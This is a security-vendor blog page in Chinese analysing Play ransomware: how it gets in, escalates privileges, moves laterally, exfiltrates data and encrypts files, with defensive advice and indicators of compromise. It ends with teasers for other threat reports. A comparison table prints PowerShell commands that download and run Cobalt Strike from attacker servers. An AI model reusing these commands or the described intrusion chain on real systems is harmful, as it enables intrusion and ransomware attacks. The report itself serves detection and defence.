網路犯罪駭客集團 - 資安趨勢部落格

Play 勒索病毒採用與 Hive 和 Nokoyawa類似的攻擊手法

2022 年 09 月 09 日2022 年 10 月 28 日趨勢科技 TrendMicro

Play似乎是一個模仿 Hive 和 Nokoyawa 攻擊手法的最新勒索病毒，它們之間存在著許多相似之處，意味著 Play 和 Nokoyawa 的幕後集團很可能是同一批人。

今年 7 月，趨勢科技在拉丁美洲地區調查了多起以政府機關為目標的勒索病毒

攻擊案例，根據我們判斷，這些案例應該是「Play」勒索病毒所為，其名稱由來是因為它會在被加密的檔案名稱末端加上「.play」副檔名。此外，它的勒索訊息檔案內容也只包含了「PLAY」一個字，還有勒索病毒集團的聯絡電子郵件地址 (圖 1)。最早通報此勒索病毒的受害者是 2022 年 6 月在 Bleeping Computer 論壇上發表貼文的一名用戶。一個月後， No-logs No breach 網站又發布了更多有關 Play 勒索病毒的細節。

在進一步分析此勒索病毒的感染案例之後，我們發現 Play 採用了很多跟 Hive 和 Nokoyawa 勒索病毒一樣的攻擊手法 (表 1 和 2)，包括使用的工具和惡意檔案名稱和路徑都很像。今年稍早，我們曾發現一些證據指出 Nokayawa 的幕後集團與 Hive 有所關連，因為兩者的攻擊程序相似。

值得注意的是，Play 勒索病毒有一項行為和 Hive 及 Nokoyawa 都不同，那就是在探索階段使用 AdFind 指令列工具來蒐集 Active Directory (AD) 的資訊 (圖 2)。反觀 Hive 則是使用 TrojanSpy.DATASPY 這類木馬程式來蒐集有關受害系統的資訊。

指標	目的	Nokoyawa 和 Hive 勒索病毒	Play 勒索病毒
Nekto/PriviCMD	提升權限	✓	✓
Cobalt Strike	準備階段	✓	✓
Coroxy/SystemBC	遠端存取	✓	✓
GMER	躲避防禦	✓	✓
PCHunter	探索與躲避防禦	✓
AdFind	探索		✓
PowerShell 腳本	探索	✓
PsExec	散播勒索病毒	✓	✓

表 1：比較 Play 和 Nokoyawa/Hive 勒索病毒家族在整體流程與行為上的相似之處。

手法/工具	Nokoyawa 和 Hive 勒索病毒	Play 勒索病毒
Nekto/PriviCMD	*%public%\Music\svhost.exe*	*%userprofile%\Music\t2747.exe*
下載 Cobalt Strike	*-nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘_hxxp://185.150.117[.]186:80/asdfgsdhsdfgsdfg’))”*	*-nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘hxxp://84.32.190[.]37:80/ahgffxvbghgfv’))”*
Coroxy/SystemBC	*%userprofile\Pictures\socks.exe* *%systemroot%\System32\sok.exe*	*%public%\Music\soks.exe*
散播勒索病毒	*C:\PerfLogs\xxx.exe* *%mytemp%\xxx.exe*	*C:\PerfLogs\xxx.exe* *%mytemp%\xxx.exe*
攻擊目標	大多位於拉丁美洲	大多位於拉丁美洲

表 2：比較 Play 和 Nokoyawa/Hive 勒索病毒家族在攻擊工具和手法上的相似之處。

攻擊過程

根據目前已知的情況，Play 勒索病毒集團是使用已遭入侵的合法帳號、或經由未修補的 Fortinet SSL VPN 漏洞來進入受害機構的網路 (圖 3)。就像大多數現代化勒索病毒一樣，Play 也會在攻擊時使用一些合法工具，例如，它會使用遠端檔案傳輸工具 WinSCP 來將資料外傳、使用 Windows 工作管理員 (Task Manager) 來傾印 Local Security Authority Server Service (LSASS) 處理程序的記憶體以取得登入憑證。

此外，Play 勒索病毒也使用雙重勒索技巧來威脅受害者。在攻擊時，它會先將資料外傳，然後再植入勒索病毒，並使用 WinRAR 將受害者的檔案壓縮之後上傳到分享網站。勒索病毒的執行檔是透過群組原則物件 (GPO) 散布，然後再透過排程工作、PsExec 或 wmic 來執行。

突破防線

Play 勒索病毒集團通常利用一些在多個平台上重複使用、或是先前已遭入侵、或是經由非法方式取得的合法帳號，其中也包括虛擬私人網路 (VPN) 帳號，而非只有網域或本機帳號。此外，暴露在外的遠端桌面 (RDP) 伺服器也是他們建立灘頭堡的方式之一。另一個 Play 勒索病毒使用的技巧是攻擊 FortiOS 的漏洞： CVE-2018-13379 和 CVE-2020-12812。

CVE-2018-13379 是 FortiOS SSL VPN 網頁入口的一個路徑瀏覽漏洞，可讓未經認證的駭客利用一個特製的 HTTP 資源請求來下載作業系統檔案。至於 CVE-2020-12812 則是 FortiOS SSL VPN 一個認證程序上的漏洞，可讓使用者在修改使用者名稱大小寫的情況下避開 FortiToken 雙重認證。

執行攻擊

我們發現，Play 勒索病毒的執行檔是透過排程工作和 PsExec 來執行。另一個 Play 使用的技巧是透過群組原則物件 (GPO) 來執行勒索病毒，因為 GPO 可用控制 AD 環境中的使用者與電腦設定。這個 GPO 會在整個 AD 環境套用一個排程工作，此工作會在特定日期和時間執行勒索病毒。

不僅如此，勒索病毒還會利用批次檔來執行 PsExec，這是 Windows 官方疑難排解工具套件「SysInternals」當中的一個工具。此工具可在其他系統上執行處理程序，因此可用來快速散播勒索病毒，並有助於 Play 執行偵查行動。

常駐系統

當 Play 勒索病毒集團利用合法帳號進入企業之後，接下來會繼續利用同樣的帳號在系統內常駐。如果受害系統的遠端桌面協定 (RDP) 被關閉，駭客會先使用「netsh」指令來將它開啟，以便從遠端連線到受害系統。勒索病毒執行檔會下載到網域控制器 (Domain Controller) 的共用資料夾 (NETLOGON 或 SYSVOL)，然後再經由排程工作或 PsExec 來將它執行，接下來受害者的檔案就會被加密。

提升權限

Play 勒索病毒使用 Mimikatz 來從記憶體當中擷取高權限的登入憑證。接著，勒索病毒會增加一些帳號到特權群組當中，其中一個群組就是 Domain Administrators (網域系統管理員) 群組。它會利用一個專門用來搜尋權限提升途徑的腳本：Windows Privilege Escalation Awesome Scripts (WinPEAS) 來搜尋系統上的漏洞。

躲避防禦

此勒索病毒會使用 Process Hacker、GMER、IOBit 和 PowerTool 之類的工具來停用惡意程式防護與系統監控軟體。此外，還會使用 Windows 內建的「wevtutil」工具或批次檔來清除自己的足跡，刪除它曾經留下的所有痕跡，例如：Windows 事件記錄或一些惡意檔案。它會使用 PowerShell 或「命令提示字元」來停用 Windows Defender 的防護功能。Play 勒索病毒使用的 PowerShell 腳本都經過 base64 編碼，就像 Cobalt Strike 信標 (Cobeacon) 或 Empire 代理程式一樣。

存取登入憑證

Play 勒索病毒還會使用 Mimikatz 來擷取登入憑證。此工具會被直接植入目標主機或當成一個模組並使用幕後操縱 (C&C) 工具 (如 Empire 或 Cobalt Strike) 來加以執行。我們也發現此勒索病毒會使用 Windows 的工作管理員來傾印 LSASS 處理程序的記憶體。

探索

在探索階段，此勒索病毒會蒐集有關 AD 環境的更多詳細資訊。我們觀察到一些針對遠端系統的 AD 查詢，分別來自不同工具，如：ADFind、Microsoft Nltest 和 Bloodhound。另外，駭客還會蒐集主機名稱、共用資料夾、網域等等的系統資訊。

橫向移動

Play 勒索病毒會使用幾種不同工具在受害機構內橫向移動：

Cobalt Strike SMB 信標是一個可當成 C&C 信標、橫向移動方法，以及下載與執行檔案的工具。
SystemBC 是一個 SOCKS5 代理器殭屍 (proxy bot)，這是一個具備 TOR 通訊能力的後門程式，用來提供後門讓駭客進出。
Empire 是一個開放原始碼漏洞攻擊後續工具框架，用來執行 Play 勒索病毒的漏洞攻擊後續活動。
Mimikatz 可用來傾印登入憑證和取得受害網路的網域系統管理員權限，以便執行橫向移動。

資料外傳

Play 勒索病毒在將受害者資料外傳之前，會先將資料切割成多個部分 (而非完整的檔案)，這是為了避免資料在網路傳輸時被發現。傳輸時，駭客使用的是 WinSCP 程式，這是一個 Microsoft Windows 適用的 SFTP 用戶端及 FTP 用戶端。此外，駭客也使用 WinRAR 來將檔案壓縮成「.RAR」格式以方便傳輸。同時，我們也找到了一個採用 PHP 撰寫的網頁，專門用來接收駭客外傳的檔案。

衝擊

正如前面提到，勒索病毒在將檔案加密之後，會在檔案名稱末端加上一個「.play」副檔名。同時還會在本機硬碟 (C:) 根目錄產生一個名為「ReadMe.txt」的勒索訊息檔案。在所有我們研究的案例中，勒索訊息當中都包含一個以下格式的電子郵件地址：[7 個隨機字元]@gmx[.]com

感染分布情況

和 Hive 及 Nokoyawa 勒索病毒一樣，Play 絕大部分的攻擊對象都是拉丁美洲地區的企業機構，尤其以巴西最多。此外，阿根廷、匈牙利、印度、荷蘭及西班牙也曾出現 Play 的攻擊。

資安建議

根據趨勢科技對 Play 勒索病毒的研究，此勒索病毒是專為躲避偵測而設計，企業應小心一些專門利用滲透測試工具來潛入目標系統環境的駭客。

企業和一般使用者可採取以下資安措施來防範像 Play 這樣的勒索病毒：

啟用多重認證 (MFA) 防止駭客在網路內部橫向移動。
遵守 3-2-1 原則來備份重要檔案：3 份備份、2 種儲存媒體、1 個不同的存放地點。
定期修補及更新系統，讓作業系統與應用程式隨時保持更新非常重要，並且要建立一套修補更新管理程序，這樣才能防止駭客利用軟體漏洞。

除此之外，使用者和企業若可以採用一套多層式偵測及回應解決方案，也能發揮不錯效益，例如 Trend Micro Vision One™ 即提供了強大的 XDR 功能，可蒐集並自動交叉關聯來自多個防護層的資料，涵蓋電子郵件、端點、伺服器、雲端工作負載以及網路，藉由自動化的防護來防範攻擊，並確保不遺漏任何重要事件。此外還有 Trend Micro Apex One™ 可提供進一步的自動化威脅偵測及回應來防範端點遭遇進階威脅，例如駭客植入的勒索病毒。

入侵指標 (IoC)

雜湊碼

SHA-256	偵測名稱	說明
fc2b98c4f03a246f6564cc778c03f1f9057510efb578ed3e9d8e8b0e5516bd49	Trojan.Win64.PRIVICMD.YXCHW	PRIVICMD/NEKTO
c316627897a78558356662a6c64621ae25c3c3893f4b363a4b3f27086246038d	Backdoor.Win32.COBEACON.YXCH3	Cobalt Strike
c92c158d7c37fea795114fa6491fe5f145ad2f8c08776b18ae79db811e8e36a3	PUA.Win32.AdFind.A	AdFind
e1c75f863749a522b244bfa09fb694b0cc2ae0048b4ab72cb74fcf73d971777b	Trojan.BAT.ADFIND.YECGUT	AdFind 指令列工具
094d1476331d6f693f1d546b53f1c1a42863e6cde014e2ed655f3cbe63e5ecde	HackTool.Win32.ToolPow.SM	PowerTool
e8a3e804a96c716a3e9b69195db6ffb0d33e2433af871e4d4e1eab3097237173	PUA.Win32.GMER.YABBI	GMER
d4a0fe56316a2c45b9ba9ac1005363309a3edc7acf9e4df64d326a0ff273e80f	PUA.Win32.ProcHack.C	Process Hacker
c88b284bac8cd639861c6f364808fac2594f0069208e756d2f66f943a23e3022	Backdoor.Win32.SYSTEMBC.YXCFLZ	Coroxy/SystemBC
f18bc899bcacd28aaa016d220ea8df4db540795e588f8887fe8ee9b697ef819f	Ransom.Win32.PLAYCRYPT.YECGUT	Play 勒索病毒
e641b622b1f180fe189e3f39b3466b16ca5040b5a1869e5d30c92cca5727d3f0	Ransom.Win32.PLAYDE.A	Play 勒索病毒
608e2b023dc8f7e02ae2000fc7dbfc24e47807d1e4264cbd6bb5839c81f91934	Ransom.Win32.PLAYDE.YXCHJT	Play 勒索病毒
006ae41910887f0811a3ba2868ef9576bbd265216554850112319af878f06e55	Ransom.Win32.PLAYDE.YXCHJT	Play 勒索病毒
e4f32fe39ce7f9f293ccbfde30adfdc36caf7cfb6ccc396870527f45534b840b	Ransom.Win32.PLAYDE.YXCHJT	Play 勒索病毒
8962de34e5d63228d5ab037c87262e5b13bb9c17e73e5db7d6be4212d66f1c22	Ransom.Win32.PLAYDE.YXCHJT	Play 勒索病毒
5573cbe13c0dbfd3d0e467b9907f3a89c1c133c774ada906ea256e228ae885d5	Ransom.Win32.PLAYDE.YXCHJT	Play 勒索病毒
f6072ff57c1cfe74b88f521d70c524bcbbb60c561705e9febe033f51131be408	Ransom.Win32.PLAYDE.YXCHJT	Play 勒索病毒
7d14b98cdc1b898bd0d9be80398fc59ab560e8c44e0a9dedac8ad4ece3d450b0	Ransom.Win32.PLAYDE.YXCHJT	Play 勒索病毒
dcaf62ee4637397b2aaa73dbe41cfb514c71565f1d4770944c9b678cd2545087	Ransom.Win32.PLAYDE.YXCHJT	Play 勒索病毒
f5c2391dbd7ebb28d36d7089ef04f1bd9d366a31e3902abed1755708207498c0	Ransom.Win32.PLAYDE.YACHWT	Play 勒索病毒
3e6317229d122073f57264d6f69ae3e145decad3666ddad8173c942e80588e69	Ransom.Win32.PLAYDE.YACHP	Play 勒索病毒

網址

網址	說明
hxxp://84.32.190[.]37:80/ahgffxvbghgfv	下載 Cobalt Strike
hxxp://newspraize[.]com	Cobalt Strike C&C
hxxp://realmacnow[.]com	Cobalt Strike C&C
172.67.176[.]244	Cobalt Strike C&C
104.21.43[.]80	Cobalt Strike C&C
hxxp://67.205.182[.]129/u2/upload[.]php	資料外傳C&C 伺服器

原文出處：Play 勒索病毒攻擊手法類似 Hive 和 Nokoyawa 作者：Don Ovid Ladores、Lucas Silva、Scott Burden、Janus Agcaoili、Ivan Nicole Chavez、Ian Kenefick、Ieriz Nicolle Gonzalez 以及 Paul Pajares

一般用戶

假使您也不幸成了受害者，請保持冷靜，最好向外尋求協助，但不要支付贖金。而平時，最好可以安裝一套防毒軟體的即時防護。如趨勢科技 PC-cillin 的「勒索剋星」可為您的寶貴檔案提供多一層防護。》立即免費下載試用

PC-cillin 防詐防毒、守護個資,支援Windows11 ✓手機✓電腦✓平板，跨平台防護３到位➔ 》即刻免費下載試用

企業用戶
建議企業採用一套跨世代的多層式防護技術來防止最新勒索病毒攻擊，在適當時機套用適當的技術來保護您的使用者和資料。》立即前往了解

多平台 APT 攻擊瞄準線上博弈網站

2022 年 06 月 07 日2022 年 06 月 01 日趨勢科技 TrendMicro

趨勢科技披露了 Earth Berberoka 在各平台上用來攻擊線上博弈網站的工具和技巧。

New APT Group Earth Berberoka Targets Gambling Websites With Old and New Malware

Earth Berberoka 攻擊行動解密

Operation Earth Berberoka: An Analysis of a Multivector and Multiplatform APT Campaign Targeting Online Gambling Sites — 下載「Operation Earth Berberoka：專門瞄準線上博弈網站的多管道、多平台進階持續性滲透攻擊 (APT) 行動分析」。

趨勢科技發現了一個專門瞄準線上博弈網站的「進階持續性滲透攻擊」（APT 攻擊）集團，我們將這個集團命名為 Earth Berberoka (亦稱 GamblingPuppet)，他們使用中國駭客的升級版舊式惡意程式家族，如 PlugX 與 Gh0st RAT，此外也用到一個全新的多重階段惡意程式家族 (我們命名為「PuppetLoader」)。Earth Berberoka 使用了多種平台的惡意程式家族來攻擊 Windows、 Linux 和 macOS 作業系統。

攻擊目標

根據趨勢科技的分析， Earth Berberoka 的主要攻擊目標是中國境內的線上博弈網站。但也有證據指出他們曾經攻擊非博弈網站，包括某個教育相關的政府機關、兩家 IT 服務公司，以及一家電子製造商。

從 2020 年 12 月 12 日至 2022 年 4 月 29 日，趨勢科技總共在中國境內記錄到 15 次冒牌 Adobe Flash Player 安裝程式下載，其中有 8 次是從某個網站重導到惡意的 Adobe Flash Player 網站 (5 次從美國的合法新聞網站，3 次從某個不明網站，其中 2 次來自香港，1 次來自馬來西亞)，並且在台灣境內偵測到 1 次 PlugX DLL 下載。

繼續閱讀

想跟勒索病毒討價還價?深入五個勒索病毒家族聯繫受害者聊天室

2021 年 12 月 09 日2022 年 07 月 14 日趨勢科技 TrendMicro

為了進一步了解企業在遭到勒索病毒 Ransomware (勒索軟體/綁架病毒)襲擊之後所經歷的狀況及復原過程，以便能夠協助其他同樣遭遇的受害者，我們分析了 5 個勒索病毒家族提供給受害者跟他們聯繫的聊天室。

現在大家都已經知道勒索病毒攻擊的危險性，而新聞媒體上不時出現的最新受害案例，也時常讓資安長 (CISO) 與資安營運中心 (SOC) 團隊徹夜難眠，因為現代化勒索病毒集團都是採用多重勒索的手法。

為了進一步了解企業在遭到勒索病毒襲擊之後所經歷的狀況及復原過程，以便能夠協助其他同樣遭遇的受害者，我們分析了以下 5 個勒索病毒家族提供給受害者跟他們聯繫的聊天室：Conti、Lockbit 2.0、AvosLocker、Hive 和 HelloKitty for Linux。這幾個勒索病毒集團都會使用獨一無二的受害者識別碼 (ID) 來辨識試圖與他們聯繫來救回資料的受害者。

我們試著在這些犯罪集團的做法之間找尋一些趨勢和共通性，並根據目前為止所看到的狀況提供一些建議。

本文重點:

歹徒為何使用線上聊天？
如何進入這些聊天室？
勒索病毒與受害者的對話重點
竊取的財務、合約等關鍵資料,必要時會亮出檔案路徑樹狀圖證明:「檔案真的在我手上」
想討價還價? 亮出受害者銀行帳戶餘額讓你百口莫辯
語氣轉變:從願意提供協助,到等著看你們遭受損失
受害者該怎麼做?
如何避免成為受害者?

繼續閱讀

Void Balaur網路傭兵（cybermercenary）最愛攻擊這些能接觸到大量私人資訊的產業

2021 年 12 月 02 日2021 年 11 月 29 日趨勢科技 TrendMicro

隨著網路攻擊成為有力組織進攻武器庫內的常用手段，一個向潛在客戶提供網路攻擊服務、工具甚至培訓的產業已然發展起來。
主要業務仍是網路間諜和資料竊取的 Void Balaur是產能最高的網路傭兵之一，該組織的會在地下論壇或Probiv等網站販賣關於個人的高度敏感資料，對世界各地不同的部門和產業都發動過攻擊。
自2015年以來就一直活躍的Void Balaur主要從事網路間諜活動和資料竊盜，將竊取的資訊出售給任何願意付錢的人。在我們調查Void Balaur的活動時，發現該組織攻擊了超過3,500名受害者，其中有些人甚至持續地反覆遭受攻擊。

「網路傭兵（cybermercenary）」，出售服務給任何願意付錢的人

什麼是「網路傭兵（cybermercenary）」?

隨著網路攻擊成為有力組織進攻武器庫內的常用手段，一個向潛在客戶提供網路攻擊服務、工具甚至培訓的產業已然發展起來。這產業內的主要參與者之一就是所謂的「網路傭兵（cybermercenary）」 – 顧名思義，這些人或團體為政府、犯罪組織甚至企業等客戶提供不同類型的網路產品和服務並收取費用。理論上，這些網路傭兵可用於非惡意目的，如幫助政府打擊恐怖主義和有組織犯罪。但事實是，他們的服務最終被用於針對客戶對手的攻擊。

網路犯罪分子們有著各種不同的動機：例如，有些駭客是為了進行破壞性政治攻擊，有些則可能更傾向於進行網路間諜活動或收集目標受害者資訊。當然，金錢仍是個強大的網路犯罪誘因 – 甚至可能是最常見的動機。有些網路犯罪份子（如勒索病毒犯罪組織）能直接從網路攻擊中獲利。但有些人則更願意成為「網路傭兵（cybermercenary）」，出售服務給任何願意付錢的人。

Void Balaur是產能最高的網路傭兵之一，這是個講俄語的駭客組織，對世界各地不同的部門和產業都發動過攻擊。雖然Void Balaur提供各式各樣的服務，但該組織的主要業務仍是網路間諜和資料竊取，會在地下論壇或Probiv等網站販賣關於個人的高度敏感資料。

提供大量私人資料選項:如航班和旅行資料、犯罪記錄、財務記錄、退休基金、簡訊列印等

繼續閱讀

網路變慢、風扇很大聲、電費暴增?可能是它暗中搞鬼!

2021 年 09 月 12 日2024 年 03 月 11 日趨勢科技 TrendMicro

它不會讓你損失敏感的個人資料，沒有身分被盜用的危險，甚至電腦也不會被歹徒鎖住然後被要脅一筆贖金。但它會拖慢網路，讓你家電費暴增，甚至縮短電腦的壽命,或是入侵家用裝置收編成殭屍網路發動攻擊。
它就是可以全年無休7 天 24 小時偷偷挖礦 ,把你的電腦當挖礦機的挖擴惡意程式。
趨勢科技很榮幸能再次與國際刑警組織 INTERPOL 新加坡全球創新總部 (Global Complex for Innovation，IGCI) 聯手成功降低了 78% 的虛擬加密貨幣挖礦惡意程式感染。

挖礦攻擊已成為網路犯罪者源源不絕的金礦

虛擬加密貨幣挖礦攻擊已成為網路犯罪集團越來越喜愛的賺錢管道。

原因為何？

因為，受害者並不曉得自己已經遭到感染，因此惡意程式可以潛伏在受害者的電腦上全年 365 天7 天 24 小時偷偷在背後挖礦。近來有越來越多駭客利用精密的攻擊來入侵企業 IT 系統與雲端伺服器以提高其挖礦的獲利。

不過還是有許多駭客專門攻擊一般家用的電腦系統 (例如路由器)，原因是這類設備相對上較缺乏資安防護。歹徒只要能集合夠多的這類裝置，將它們收編至所謂的殭屍網路，就等於擁有一座源源不絕的金礦。

根據我們的資料顯示，這也是為何虛擬加密貨幣挖礦攻擊在 2019 上半年一躍成為偵測數量最多的檔案式威脅。

訂閱資安趨勢電子報